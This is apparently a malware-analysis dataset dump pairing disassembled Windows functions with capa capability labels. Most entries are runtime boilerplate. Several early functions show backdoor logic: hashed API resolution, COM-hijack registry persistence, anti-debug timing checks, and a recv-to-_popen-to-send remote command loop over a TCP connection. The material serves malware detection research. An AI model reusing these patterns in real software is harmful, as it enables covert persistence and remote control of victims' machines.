joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001650
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1b8
lea rcx, str.RegOpenKeyExA
movabs rax, 0x666f535c55434b48
movabs rdx, 0x6c435c6572617774
mov qword [rsp + 0x40], rax
movabs rax, 0x4c435c7365737361
mov qword [rsp + 0x48], rdx
movabs rdx, 0x3030307b5c444953
mov qword [rsp + 0x50], rax
movabs rax, 0x30302d3130343132
mov qword [rsp + 0x58], rdx
movabs rdx, 0x2d303030302d3030
mov qword [rsp + 0x60], rax
movabs rax, 0x3030302d30303043
mov qword [rsp + 0x68], rdx
movabs rdx, 0x3430303030303030
mov qword [rsp + 0x70], rax
movabs rax, 0x6f72706e495c7d36
mov qword [rsp + 0x78], rdx
movabs rdx, 0x3372657672655363
mov qword [rsp + 0x80], rax
mov eax, 0x32
mov qword [rsp + 0x88], rdx
mov edx, 0x811c9dc5
mov word [rsp + 0x90], ax
mov eax, 0x52
nop dword [rax]
add rcx, 1
xor edx, eax
movzx eax, byte [rcx]
imul edx, edx, 0x1000193
test al, al
jne 0x140001718
lea rdi, [0x1400b503c]
mov rcx, rdi
call fcn.1400015b0
mov edx, 0x811c9dc5
lea rcx, str.RegSetValueExA
mov rbx, rax
mov eax, 0x52
nop
add rcx, 1
xor edx, eax
movzx eax, byte [rcx]
imul edx, edx, 0x1000193
test al, al
jne 0x140001750
mov rcx, rdi
call fcn.1400015b0
mov edx, 0x811c9dc5
lea rcx, str.RegCloseKey
mov rsi, rax
mov eax, 0x52
nop
add rcx, 1
xor edx, eax
movzx eax, byte [rcx]
imul edx, edx, 0x1000193
test al, al
jne 0x140001780
mov rcx, rdi
call fcn.1400015b0
mov edx, 0x811c9dc5
lea rcx, str.GetModuleFileNameA
mov rdi, rax
mov eax, 0x47
nop
add rcx, 1
xor edx, eax
movzx eax, byte [rcx]
imul edx, edx, 0x1000193
test al, al
jne 0x1400017b0
lea rcx, str.kernel32.dll
call fcn.1400015b0
test rbx, rbx
je 0x140001862
test rsi, rsi
je 0x140001862
test rdi, rdi
je 0x140001862
test rax, rax
je 0x140001862
lea rbp, [rsp + 0xa0]
mov r8d, 0x104
xor ecx, ecx
mov rdx, rbp
call rax
sub eax, 1
cmp eax, 0x102
ja 0x140001862
lea rax, [rsp + 0x38]
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov r9d, 2
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
call rbx
test eax, eax
jne 0x140001862
mov rcx, rbp
call sub.msvcrt.dll_strlen
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rbp
xor r8d, r8d
add eax, 1
mov r9d, 1
lea rdx, [0x1400b5056]
mov dword [rsp + 0x28], eax
call rsi
mov rcx, qword [rsp + 0x38]
call rdi
nop
add rsp, 0x1b8
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140001930
Capabilities:
Execute anti-debugging instructions
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x428
mov rsi, qword [sym.imp.WS2_32.dll_recv]
mov r14, qword [sym.imp.msvcrt.dll__popen]
movabs r15, 0x3737373737373737
mov r12, qword [sym.imp.WS2_32.dll_send]
movabs rbp, 0xaaaaaaaaaaaaaaab
mov rbx, rcx
lea r13, [rsp + 0x20]
nop dword [rax]
rdtsc
mov ecx, pe_nt_image_headers64
mov r8, rax
mov rdi, r13
mov rax, r15
shl rdx, 0x20
rep stosq qword [rdi], rax
or r8, rdx
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, r8
cmp rax, 0x992
ja 0x140001978
xor r9d, r9d
mov r8d, 0x400
mov rdx, r13
mov rcx, rbx
call rsi
test eax, eax
jle 0x140001978
lea rdx, [0x1400b5066]
mov rcx, r13
call r14
mov rdi, rax
mov r8, rdi
mov edx, 0x400
mov rcx, r13
call sub.msvcrt.dll_fgets
test rax, rax
je 0x140001a50
rdtsc
mov r9, rax
shl rdx, 0x20
or r9, rdx
rdtsc
mov r8, rax
shl rdx, 0x20
or r8, rdx
rdtsc
shr r8, 3
shl rdx, 0x20
lea ecx, [r9*8]
sub ecx, r9d
or rax, rdx
lea edx, [r8 + r8*2]
lea edx, [r8 + rdx*4]
shl rax, 2
xor ecx, 0x1337
add ecx, edx
mul rbp
shr rdx, 1
sub ecx, edx
mov dword [0x1400e0030], ecx
mov rcx, r13
call sub.msvcrt.dll_strlen
xor r9d, r9d
mov rdx, r13
mov rcx, rbx
mov r8d, eax
call r12
jmp 0x1400019cb
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__pclose]
jmp 0x140001978

Function at 0x140001a60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x1d0
mov rdi, rcx
mov ebx, edx
lea rdx, [rsp + 0x30]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
movzx ecx, bx
lea rbx, [rsp + 0x20]
mov rsi, rax
mov eax, 2
mov word [rsp + 0x20], ax
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x24]
mov rdx, rdi
mov ecx, 2
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, 0x10
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
mov rax, rsi
add rsp, 0x1d0
pop rbx
pop rsi
pop rdi
ret

Function at 0x14000ba60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140016350
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140016350
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x14000bad0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400e00b4]
mov rbx, rcx
test esi, esi
jle 0x14000bc00
mov rax, qword [0x1400e00b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000bb1b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000bba5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000bb00
mov rcx, rbx
call fcn.14000c540
mov rdi, rax
test rax, rax
je 0x14000bc22
mov rax, qword [0x1400e00b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000c680
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400e00b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000bc07
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000bb9e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14000bbb0
add dword [0x1400e00b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400e00b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000bb9e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000ba60
nop dword [rax]
xor esi, esi
jmp 0x14000bb28
mov rax, qword [0x1400e00b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000ba60
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000ba60
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000c1b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400e0120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e0100]
test rbx, rbx
je 0x14000c20c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000c203
test eax, eax
jne 0x14000c203
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000c1e8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000c540
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400bb280]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000c560
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000c568
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000c560
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000c5bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000c5b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000c560
add rax, 0x28
cmp rax, r9
jne 0x14000c5a0
xor eax, eax
ret

Function at 0x14000c5c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bb280]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000c5df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000c5e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000c5df
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000c680
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400bb280]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000c69f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000c6a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140077330
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140077378
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14007734a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400af910
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b4220]
jmp 0x14000d3f0

Function at 0x1400af920
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b4220]
jmp 0x14000d3f0
Function at 0x18000ef34
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xdeac
cmp ecx, eax
ja 0x18000ef8c
je 0x18000ef83
mov eax, 0xc433
cmp ecx, eax
ja 0x18000ef67
je 0x18000ef83
mov eax, ecx
sub eax, 0x2a
je 0x18000ef83
sub eax, 0xc402
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
cmp eax, 3
jmp 0x18000ef81
mov eax, ecx
sub eax, 0xc435
je 0x18000ef83
sub eax, 0x1263
je 0x18000efbf
sub eax, 0x812
je 0x18000ef83
cmp eax, 1
jne 0x18000ef85
xor edx, edx
call 0x18005d505
sub cl, byte [rbx - 0x2152d23f]
add byte [rax], al
mov eax, ecx
sub eax, 0xdead
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 1
je 0x18000ef83
sub eax, 0x1f35
je 0x18000ef83
cmp eax, 1
jne 0x18000ef85
and edx, 8
jmp 0x18000ef85

Function at 0x180015f50
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180015f78
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180015f78
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180017264
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x2f0
xor r12d, r12d
mov dword [rbp - 0x50], 0x74006e
mov esi, r12d
mov dword [rbp - 0x4c], 0x6c0064
mov r15d, r12d
mov dword [rbp - 0x48], 0x2e006c
mov dword [rbp - 0x44], 0x6c0064
mov dword [rbp - 0x40], 0x6c
call fcn.1800010b0
mov rcx, rax
lea rdx, str.GetModuleHandleW
push rsi
call 0x18007143f
lea rcx, [rbp - 0x50]
call rax
mov dword [rsp + 0x30], 0x7865742e
mov rdi, rax
mov word [rsp + 0x34], 0x74
test rax, rax
je 0x1800174b5
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x18001734e
movsxd rcx, dword [rdi + 0x3c]
add rcx, rdi
cmp dword [rcx], 0x4550
jne 0x18001734e
movzx r11d, word [rcx + 0x14]
mov r10d, r12d
movzx r14d, word [rcx + 6]
add r11, rcx
test r14d, r14d
je 0x18001734e
movsxd rax, r10d
lea rcx, [r11 + 0x18]
lea rdx, [rsp + 0x30]
lea rbx, [rax + rax*4]
lea rcx, [rcx + rbx*8]
call fcn.180016624
test eax, eax
je 0x180017341
inc r10d
cmp r10d, r14d
jl 0x18001731a
jmp 0x18001734e
mov esi, dword [r11 + rbx*8 + 0x24]
mov r15d, dword [r11 + rbx*8 + 0x20]
add rsi, rdi
mov r14d, r15d
lea r9, [rsp + 0x30]
add r14, rsi
mov dword [rsp + 0x30], 0xee882166
mov r8, r14
mov word [rsp + 0x34], 0x17
mov rdx, rsi
mov byte [rsp + 0x36], r12b
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x20], 7
call fcn.180017bd8
movups xmm2, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmm1, xmmword [rax + 0x20]
movd eax, xmm2
movups xmmword [rsp + 0x48], xmm2
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm1
test eax, eax
jle 0x1800173df
lea rcx, [rsp + 0x50]
mov r8d, eax
mov rdx, qword [rcx]
test rdx, rdx
je 0x1800173d5
mov eax, dword [rdx + 0x15]
mov dword [rax + rdx + 0x1a], r12d
mov edx, 0xefff
mov rax, qword gs:[0x30]
and word [rax + 0x17ee], dx
add rcx, 8
sub r8, 1
jne 0x1800173b0
mov rax, qword gs:[0x30]
lea rdx, [rsp + 0x48]
movdqa xmm0, xmmword [0x1800227d0]
mov rcx, rdi
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0x74636553
mov rbx, qword [rax + 0x60]
mov dword [rsp + 0x5c], 0x6e6f69
call 0x180082fd4
int3
xor eax, eax
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x18001788c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0xb8]
sub rsp, 0x1b0
mov dword [rsp + 0x30], 0x476c7452
mov rdi, rdx
mov dword [rsp + 0x34], 0x65567465
mov dword [rsp + 0x38], 0x6f697372
mov word [rsp + 0x3c], 0x6e
mov dword [rsp + 0x50], 0x6e0055
mov dword [rsp + 0x54], 0x6e006b
mov dword [rsp + 0x58], 0x77006f
mov dword [rsp + 0x5c], 0x6e
test rcx, rcx
je 0x18001794e
lea rdx, [rsp + 0x30]
call fcn.180071ca0
int3
lea r8, [rsp + 0x50]
mov edx, 0x14
mov rcx, rdi
call fcn.180001008
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x180017980
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x208]
sub rsp, 0x2e0
xor r13d, r13d
mov dword [rbp - 0x80], 0x690057
mov dword [rbp - 0x7c], 0x64006e
mov rdi, rdx
mov dword [rbp - 0x78], 0x77006f
mov dword [rbp - 0x74], 0x200073
mov dword [rbp - 0x70], 0x310031
mov word [rbp - 0x6c], r13w
mov dword [rbp - 0x40], 0x690057
mov dword [rbp - 0x3c], 0x64006e
mov dword [rbp - 0x38], 0x77006f
mov dword [rbp - 0x34], 0x200073
mov dword [rbp - 0x30], 0x300031
mov word [rbp - 0x2c], r13w
mov dword [rsp + 0x40], 0x690057
mov dword [rsp + 0x44], 0x64006e
mov dword [rsp + 0x48], 0x77006f
mov dword [rsp + 0x4c], 0x200073
mov dword [rsp + 0x50], 0x2e0038
mov dword [rsp + 0x54], 0x31
mov dword [rbp], 0x690057
mov dword [rbp + 4], 0x64006e
mov dword [rbp + 8], 0x77006f
mov dword [rbp + 0xc], 0x200073
mov dword [rbp + 0x10], 0x38
mov dword [rbp + 0x40], 0x690057
mov dword [rbp + 0x44], 0x64006e
mov dword [rbp + 0x48], 0x77006f
mov dword [rbp + 0x4c], 0x200073
mov dword [rbp + 0x50], 0x37
mov dword [rsp + 0x20], 0x476c7452
mov dword [rsp + 0x24], 0x65567465
mov dword [rsp + 0x28], 0x6f697372
mov word [rsp + 0x2c], 0x6e
mov dword [rbp + 0x80], 0x6e0055
mov dword [rbp + 0x84], 0x6e006b
mov dword [rbp + 0x88], 0x77006f
mov dword [rbp + 0x8c], 0x6e
test rcx, rcx
je 0x180017b50
lea rdx, [rsp + 0x20]
push rbp
call 0x180045fef
mov rbx, rax
test rax, rax
je 0x180017b50
xor edx, edx
lea rcx, [rbp + 0xc4]
mov r8d, 0x110
call fcn.180018ad0
lea rcx, [rbp + 0xc0]
mov dword [rbp + 0xc0], 0x114
call rbx
test eax, eax
jne 0x180017b50
cmp dword [rbp + 0xc4], 0xa
jne 0x180017b21
cmp dword [rbp + 0xcc], 0x55f0
lea r8, [rbp - 0x80]
lea rax, [rbp - 0x40]
cmovb r8, rax
jmp 0x180017b57
cmp dword [rbp + 0xc4], 6
jne 0x180017b50
mov eax, dword [rbp + 0xc8]
cmp eax, 3
jne 0x180017b3c
lea r8, [rsp + 0x40]
jmp 0x180017b57
cmp eax, 2
jne 0x180017b47
lea r8, [rbp]
jmp 0x180017b57
lea r8, [rbp + 0x40]
cmp eax, 1
je 0x180017b57
lea r8, [rbp + 0x80]
mov edx, 0x14
mov rcx, rdi
call fcn.180001008
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14000e9a0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14000e9c8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000e9ee
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000e9f0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14000ea49
test ecx, ecx
jle 0x14000ea29
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14000ea49
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000ea49
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x14000ea70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14000eaa1
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je 0x14000eabf
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000eadb
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000eadd
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000eb19
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000ebae
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000eb54
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000eb8e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000ebae
cmp rbx, rax
ja 0x14000eb60
test rbx, rbx
je 0x14000ebae
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14000efd0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140137040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000effd
xor eax, eax
jmp 0x14000f169
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000f037
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14000f037
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14000f169
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000f15c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000f07a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14000f0a5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000f161
lea rax, [rsp + 0x48]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000f114
sub eax, 1
je 0x14000f114
cmp eax, 2
jne 0x14000f15c
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000f161
mov rsi, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14000f142
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000f15c
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x50], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14000f161
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400f3ce0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140012f90
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140137040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140013063
cmp byte [rcx + 0x71], 0
je 0x140013063
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14001305f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140013024
sub eax, 1
je 0x140013028
cmp eax, 2
jne 0x14001305f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400f3ce0
add rsp, 0x60
pop rbx
ret
